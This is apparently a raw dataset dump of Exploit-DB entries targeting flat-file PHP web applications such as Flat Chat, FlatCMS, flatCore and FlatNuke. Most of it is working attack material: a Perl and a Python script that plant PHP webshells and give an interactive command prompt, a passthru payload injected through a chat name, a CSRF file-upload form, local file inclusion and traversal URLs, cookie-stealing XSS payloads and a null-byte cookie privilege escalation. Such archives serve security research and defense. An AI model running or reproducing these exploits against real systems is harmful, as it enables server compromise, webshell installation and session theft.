deardaniel/secdata-raw huggingface dataset:
Exploit-DB #3428
Description: Flat Chat 2.0 - 'include online.txt' Remote Code Execution
Type: webapps
Platform: php
Date: 2007-03-07
Author: Dj7xpl

Exploit:
                                           .-""""""""-.                                 
                                          /   Dj7xpl   \                              
                                         |              |                                
                                         |,  .-.  .-.  ,|                                
                                         | )(_o/  \o_)( |                                     
                                         |/     /\     \|                                 
                               (@_       (_     ^^     _)                  
                          _     ) \_______\__|IIIIII|__/_______________________________
                         (_)@8@8{}<________|-\IIIIII/-|________________________________>
                                )_/        \          / 
                                (@
+_______________________________________________________________________________________________________________________+
+
+
+                               +=============================================+
+                               |                                             |
+                               | Portal   : Flat Chat                        |
+                               | Version  : 2.0                              |
+                               | Author   : Dj7xpl  | Dj7xpl@yahoo.com       |
+                               | Download : Http://www.undoweb.frih.net      |
+                               | Risk     : High (Remote Code Execution)     |
+                               |                                             |
+                               +=============================================+
+
+              Exploit : 
+                         Http://localhost/flatchat/index.php   <<<<<<  Open Index Page
+
+                         Insert This Script In Chat Name:  e.g:  <?php passthru($_GET[cmd]); ?>
+
+                         Http://localhost/flatchat/users.php?cmd=ls -la   <<<  Enter Your Command
+                                                                              				            	  
+_______________________________________________________________________________________________________________________+

# milw0rm.com [2007-03-07]
Exploit-DB #52054
Description: Flatboard 3.2 - Stored Cross-Site Scripting (XSS) (Authenticated)
Type: webapps
Platform: php
Date: 2024-06-26
Author: tmrswrr

Exploit:
# Exploit Title: Flatboard 3.2 - Stored Cross-Site Scripting (XSS) (Authenticated)
# Date: 2024-06-23
# Exploit Author: tmrswrr
# Category : Webapps
# Vendor Homepage: https://flatboard.org/
# Version: 3.2
# PoC:

1-Login admin panel , go to this url : https://127.0.0.1//Flatboard/index.php/forum
2-Click Add Forum and write in  Information field your payload : "><img src=x onerrora=confirm() onerror=confirm(document.cookie)>
3-Save it , you will be payload will be executed
Exploit-DB #8549
Description: Flatchat 3.0 - 'pmscript.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2009-04-27
Author: SirGod

Exploit:
##########################################################################################
[+] Flatchat 3.0 (pmscript.php with) Local File Inclusion Vulnerability
[+] Discovered By SirGod
[+] www.mortal-team.net
[+] www.h4cky0u.org
##########################################################################################

[+] Homepage : http://ninjadesigns.co.uk/

[+] Local File Inclusion

  - Vulnerable code in pmscript.php

--------------------------------------------
$filename = 'users/'.$_GET['with'].'.php';

if (file_exists($filename)) {
    include($filename);
--------------------------------------------


    http://127.0.0.1/path/pmscript.php?with=../../../../../BOOTSECT.BAK%00

##########################################################################################

# milw0rm.com [2009-04-27]
Exploit-DB #1405
Description: FlatCMS 1.01 - 'file_editor.php' Remote Command Execution
Type: webapps
Platform: php
Date: 2006-01-04
Author: cijfer

Exploit:
#!/usr/bin/perl
#
# FlatCMS <=1.01 Remote Command Execution Exploit
#
# Copyright (c) 2005 cijfer <cijfer@netti.fi>
# All rights reserved.
#
# An input validation flaw exists within 'admin/file_editor.php'
# of FlatCMS which can lead to remote command execution. 
# Here is where the problem is (line 22 of 97):
#
#	...
# [1]	if($save_file != "") {
# [2]       	$f_content = stripslashes("$f_content");
#        	if(!$f_w = fopen($save_file, w)) {
#              		echo ("Cannot open file ("."$save_file".")<br />\n");
#        	}
# [3]       	if(!fwrite($f_w,$f_content)) {
#                	echo ("File "."$save_file"." is not writable!<br />\n");
#        	}
#        	echo("Done saving file "."$save_file"."<br />\n");
#	}
#	...
#
# 1. If $save_file is not empty, use it.
# 2. $f_content filters only slashes? that is all?
# 3. write contents of $f_content into $save_file! :))
#
# kiitos ReZEN (www.xorcrew.net) :))
#
# $Id: cijfer-fcmsxpl.pl,v 0.1 2005/01/04 03:48:00 cijfer Exp cijfer $

use LWP::UserAgent;
use URI::Escape;
use Getopt::Long;
use Term::ANSIColor;

$port = 80;
$res  = GetOptions("host=s" => \$host, "dir=s" => \$dir, "port=i" => \$port, "tunnel=s" => \$tunnel);

&usage unless $host and $dir;

while()
{
	print color("green"), "cijfer\$ ", color("reset"); # colors :))!
	chomp($command = <STDIN>);
	exit unless $command;
	&exploit($command);
}

sub usage
{
	print "FlatCMS <=1.01 Remote Command Execution Exploit\n";
	print "Usage: $0 -hd [OPTION]...\n\n";
	print "  -h --host\thostname or ip of target\n";
	print "  -d --dir\tdirectory without ending slash\n";
	print "  -p --port\tport number (default: 80)\n";
	print "  -t --tunnel\tprovide an HTTP proxy (ex. 0.0.0.0:8080)\n\n";
	exit;
}

sub exploit
{
	$cij=LWP::UserAgent->new() or die;
	$cij->agent("Mozilla/5.0 [en] (X11; I; SunOS 5.6 sun4u)");
	$cij->proxy("http", "http://".$tunnel."/") unless !$tunnel;

	$string  = "echo%20_cijfer_%3B";
	$string .= uri_escape(shift);
	$string .= "%3Becho%20_cijfer_";

	$execut  = "%3C%3F%24handle%3Dpopen%5C%28%24_GET%5Bcij%5D%2C%22r%22%29%3Bwhile%28%21feof";
	$execut .= "%28%24handle%29%29%7B%24line%3Dfgets%28%24handle%29%3Bif%28strlen%28%24line%";
	$execut .= "29%3E%3D1%29%7Becho%22%24line%22%3B%7D%7Dpclose%28%24handle%29%3B%3F%3E";

	$path = "http://".$host.$dir."/admin/file_editor.php";
	$out=$cij->get($path."?save_file=cijfer.php&f_content=".$execut);
	$out=$cij->get("http://".$host.$dir."/admin/cijfer.php?cij=".$string);

	if($out->is_success)
	{
		@cij=split("_cijfer_",$out->content);
		print substr(@cij[1],1);
	}
}

# milw0rm.com [2006-01-04]
Exploit-DB #52166
Description: flatCore 1.5 - Cross Site Request Forgery (CSRF)
Type: webapps
Platform: php
Date: 2025-04-11
Author: CodeSecLab

Exploit:
# Exploit Title: flatCore 1.5 - Cross Site Request Forgery (CSRF)
# Date: 2024-10-26
# Exploit Author: CodeSecLab
# Vendor Homepage: https://github.com/flatCore/flatCore-CMS
# Software Link: https://github.com/flatCore/flatCore-CMS
# Version: d3a5168
# Tested on: Ubuntu Windows
# CVE : CVE-2019-13961

PoC:
<!DOCTYPE html>
<html>
<head>
    <title>CSRF PoC</title>
</head>
<body>
    <form action="http://flatcore3/acp/core/files.upload-script.php" method="POST" enctype="multipart/form-data">
        <input type="hidden" name="upload_destination" value="../content/files">
        <input type="hidden" name="w" value="800">
        <input type="hidden" name="h" value="600">
        <input type="hidden" name="fz" value="1000">
        <input type="hidden" name="unchanged" value="yes">
        <input type="file" name="file" value="test.php">
        <input type="submit" value="Upload">
    </form>
</body>
</html>


[Replace Your Domain Name]
Exploit-DB #50262
Description: FlatCore CMS 2.0.7 - Remote Code Execution (RCE) (Authenticated)
Type: webapps
Platform: php
Date: 2021-09-06
Author: Mason Soroka-Gill

Exploit:
# Exploit Title: FlatCore CMS 2.0.7 - Remote Code Execution (RCE) (Authenticated)
# Date: 04/10/2021
# Exploit Author: Mason Soroka-Gill @sgizoid
# Vendor Homepage: https://flatcore.org/
# Software Link: https://github.com/flatCore/flatCore-CMS/archive/refs/tags/v2.0.7.tar.gz
# Version: 2.0.7
# Tested on: Ubuntu Server 21.04
# CVE: CVE-2021-39608
# References:
#   - https://github.com/flatCore/flatCore-CMS/issues/52

#!/usr/bin/env python3

import sys
import requests
from lxml import html
from urllib.parse import urlencode

if len(sys.argv) != 4:
    print(f"Usage: {sys.argv[0]} 'http(s)://TARGET' 'USERNAME' 'PASSWORD'")
    exit(1)

TARGET   = sys.argv[1]
USERNAME = sys.argv[2]
PASSWORD = sys.argv[3]

# attempt to log in
resp = requests.post(f"{TARGET}/index.php?p=1",
        data={
            "login_name":f"{USERNAME}",
            "login_psw":f"{PASSWORD}",
            "login":"Anmelden"})

# grab the PHP session ID
PHPSESSID = resp.headers['Set-Cookie'].split(";")[0]

# validate credentials worked
resp = requests.get(f"{TARGET}/acp/acp.php?tn=addons",
        headers={"Cookie":PHPSESSID})
if resp.status_code != 200:
    print("Invalid credentials")
    exit(1)
else:
    print("Logged in")

# grab the csrf token for the script upload
csrf_token = html.document_fromstring(resp.text).xpath('//form/input[7]')[0].value

# post the shell to the host
resp = requests.post(f"{TARGET}/acp/core/files.upload-script.php",
        data={"upload_type":"plugin", "csrf_token":csrf_token},                     # the csrf token
        files={"file":("sgizoid.php", "<?php echo shell_exec($_GET['sg']); ?>")},   # the webshell
        headers={"Cookie":PHPSESSID})                                               # the php session id

# pretend to be a shell
while True:
    command = input("$ ")
    if command.lower() == "exit" or command.lower() == "q":
        break
    resp = requests.get(f"{TARGET}/upload/plugins/sgizoid.php?{urlencode({'sg':command})}")
    # verify payload succeeded
    if resp.status_code == 200:
        print(resp.text)
    else:
        print("Error: Something went wrong, maybe the shell didn't work?")
        break

# delete the webshell
resp = requests.get(f"{TARGET}/acp/acp.php?tn=moduls&sub=u&dir=plugins&del=sgizoid.php",
        headers={"Cookie":PHPSESSID})
if resp.status_code == 200:
    print("Cleaned up webshell")

# clean up the session
resp = requests.get(f"{TARGET}/index.php?goto=logout",
        headers={"Cookie":PHPSESSID})
if resp.status_code == 200:
    print("Logged out")

exit(0)
Exploit-DB #51068
Description: FlatCore CMS 2.1.1 - Stored Cross-Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2023-03-27
Author: Sinem Şahin

Exploit:
# Exploit Title: FlatCore CMS 2.1.1 -Stored Cross Site Scripting
# Date: 2020-09-24
# Exploit Author: Sinem Şahin
# Vendor Homepage: https://flatcore.org/
# Version: 2.1.1
# Tested on: Windows & XAMPP

==> Tutorial <==

1- Go to the following url. => http://(HOST)/install/index.php
2- Write XSS Payload into the username of the user account.
3- Press "Save" button.

XSS Payload ==> "<script>alert("usernameXSS")</script>
Exploit-DB #11515
Description: FlatFile Login System - Remote Password Disclosure
Type: webapps
Platform: php
Date: 2010-02-20
Author: ViRuSMaN

Exploit:
==============================================================================
        [»] ~ Note : [ Tribute to the martyrs of Gaza . ]
==============================================================================
        [»] FlatFile system Remote Password Disclouse Vulnerability
==============================================================================

    [»] Script:             [ FlatFile ]
    [»] Language:           [ PHP ]
    [»] Download:           [ http://codewalkers.com/codefiles/269_flatfile_login.zip ]
    [»] Founder:            [ ViRuSMaN <v.-m@live.com - totti_55_3@yahoo.com> ]
    [»] Greetz to:          [ HackTeach Team , Egyptian Hackers , All My Friends & No-Exploit.com ]
    [»] My Home:            [ HackTeach.Org , Islam-Attack.Com ]

###########################################################################

===[ Exploit ]===

    [»] http://server/[path]/userlist.txt

 # The Password Before Admin Name in "userlist.txt"



Author: ViRuSMaN <-

###########################################################################
Exploit-DB #26099
Description: FlatNuke 2.5.5 - 'footer.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-08-05
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/14483/info
 
FlatNuke is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker can exploit these vulnerabilities to inject html and script code into the Web browser of an unsuspecting victim.The attacker may then steal cookie-based authentication credentials. Other attacks are also possible. 

http://[target]/[path]/forum/footer.php?admin="><script>alert(document.cookie)</script>
http://[target]/[path]/forum/footer.php?admin_mail="><script>alert(document.cookie)</script>
http://[target]/[path]/forum/footer.php?back="><script>alert(document.cookie)</script>
http://[target]/[path]/footer.php?admin="><script>alert(document.cookie)</script>
http://[target]/[path]/footer.php?admin_mail="><script>alert(document.cookie)</script>
Exploit-DB #26098
Description: FlatNuke 2.5.5 - 'structure.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-08-05
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/14483/info

FlatNuke is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit these vulnerabilities to inject html and script code into the Web browser of an unsuspecting victim.The attacker may then steal cookie-based authentication credentials. Other attacks are also possible. 

http://[target]/[path]/themes/butterfly/structure.php?bodycolor="><script>alert(document.cookie)</script>
http://[target]/[path]/themes/butterfly/structure.php?backimage="><script>alert(document.cookie)</script>
http://[target]/[path]/themes/butterfly/structure.php?backimage=whatever&theme="><script>alert(document.cookie)</script>
http://[target]/[path]/themes/butterfly/structure.php?backimage=whatever&bodycolor="><script>alert(document.cookie)</script>
http://[target]/[path]/themes/butterfly/structure.php?logo="><script>alert(document.cookie)</script>
Exploit-DB #26212
Description: FlatNuke 2.5.6 - 'ID' Directory Traversal
Type: webapps
Platform: php
Date: 2005-08-31
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/14702/info

FlatNuke is prone to a directory traversal vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An unauthorized user can retrieve arbitrary files by supplying directory traversal strings '../' to the vulnerable parameter.

Exploitation of this vulnerability could lead to a loss of confidentiality. Information obtained may aid in further attacks against the underlying system; other attacks are also possible. 

http://www.example.com/index.php?mod=read&id=../forum/users/[user].php%00
Exploit-DB #26215
Description: FlatNuke 2.5.6 - 'USR' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-08-31
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/14704/info

FlatNuke is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/forum/index.php?op=vis_reg&usr="><script>alert('LOL%20%20')</script><!--
Exploit-DB #28216
Description: FlatNuke 2.5.7 - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-07-13
Author: rgod

Exploit:
source: https://www.securityfocus.com/bid/18966/info

FlatNuke is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to gain access to the underlying system.

Version 2.5.7 is vulnerable to this issue; prior versions may also be affected.

http://www.example.com/[path_to_flatnuke]/index.php?mod=Gallery
Exploit-DB #25800
Description: FlatNuke 2.5.x - 'help.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-06-07
Author: SecWatch

Exploit:
source: https://www.securityfocus.com/bid/13882/info
 
Multiple input validation vulnerabilities reportedly affect FlatNuke. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it in application-critical actions such as generating Web content or loading scripts.
 
An attacker may leverage these issues to execute arbitrary PHP code, execute client-side script code in the browsers of unsuspecting users through cross-site scripting attacks, and gain access to sensitive information. Other attacks are also possible. 

http://www.example.com/forum/help.php?border=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/forum/help.php?back=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Exploit-DB #26385
Description: FlatNuke 2.5.x - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-10-26
Author: alex@aleksanet.com

Exploit:
source: https://www.securityfocus.com/bid/15176/info

FlatNuke is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/?op=login&nome=<script>alert('LOL');</script>&regpass=1&reregpass=1&anag=1&email=1&homep=http%3A%2F%2F&prof=1&prov=1&ava=1&url_avatar=1&firma=1

http://www.example.com/?op=login&from=home&nome=<script>alert('LOL');</script>&logpassword=1
Exploit-DB #26384
Description: FlatNuke 2.5.x - 'index.php' Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2005-10-22
Author: abducter_minds@yahoo.com

Exploit:
source: https://www.securityfocus.com/bid/15172/info

FlatNuke is prone to multiple remote file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access.

It should be noted that a malicious user must have an account and be logged into the application to exploit these vulnerabilities. 

http://www.example.com/flatnuke/forum/index.php?op=profile&user=[abducter]
http://www.example.com/flatnuke/forum/index.php?op=topic&quale=[abducter]
http://www.example.com/flatnuke/forum/index.php?op=newtopic&mode=ris&quale=[abducter]&page=1

http://www.example.com/flatnuke/forum/index.php?op=profile&user=%3Cscript%3Ealert(document.cookie);%3C/script%3E
Exploit-DB #25799
Description: FlatNuke 2.5.x - 'index.php?where' Full Path Disclosure
Type: webapps
Platform: php
Date: 2005-06-07
Author: SecWatch

Exploit:
source: https://www.securityfocus.com/bid/13882/info

Multiple input validation vulnerabilities reportedly affect FlatNuke. These issues are due to a failure of the application to properly sanitize user-supplied input prior to using it in application-critical actions such as generating Web content or loading scripts.

An attacker may leverage these issues to execute arbitrary PHP code, execute client-side script code in the browsers of unsuspecting users through cross-site scripting attacks, and gain access to sensitive information. Other attacks are also possible. 

http://www.example.com/flatnuke/index.php?mod=none_Search&find=1&where=null
Exploit-DB #4562
Description: Flatnuke 3 - Remote Cookie Manipulation / Privilege Escalation
Type: webapps
Platform: php
Date: 2007-10-23
Author: KiNgOfThEwOrLd

Exploit:
---------------------------------------------------------------
 ____            __________         __             ____  __   
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_ 
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |  
 |___|___|  /\__|  /______  /\___  >__|            |___||__|  
          \/\______|      \/     \/                         
---------------------------------------------------------------

Http://www.inj3ct-it.org 	     Staff[at]inj3ct-it[dot]org 

---------------------------------------------------------------

Flatnuke3 Remote Cookie Manipoulation / Privilege Escalation

---------------------------------------------------------------

#By KiNgOfThEwOrLd

---------------------------------------------------------------
PoC:

When an user log in, flatnuke set him a cookie value like this: 
myforum=nomeuser. If we try to change it, flatnuke will ask us to log in 
again. The code is: 


$req = $_SERVER["REQUEST_URI"];
if (strstr($req, "myforum="))
die(_NONPUOI);

So, we can bypass this filter, using nullbyte and login as admin. For example, Replace: 

myforum=yourusername 

with: 

myforum%00=adminusername

PHP Execution PoC:

I saw that in download module, if we set to "1" the fneditmode, we can 
make directory. So, we can write a description for the directory, and 
this description will be saved in 
/Download/[Dir_Name]/description.it.php . Yes, we can insert php code in 
the description and it will be execute! Nice, dontcha? :P 

---------------------------------------------------------------

# milw0rm.com [2007-10-23]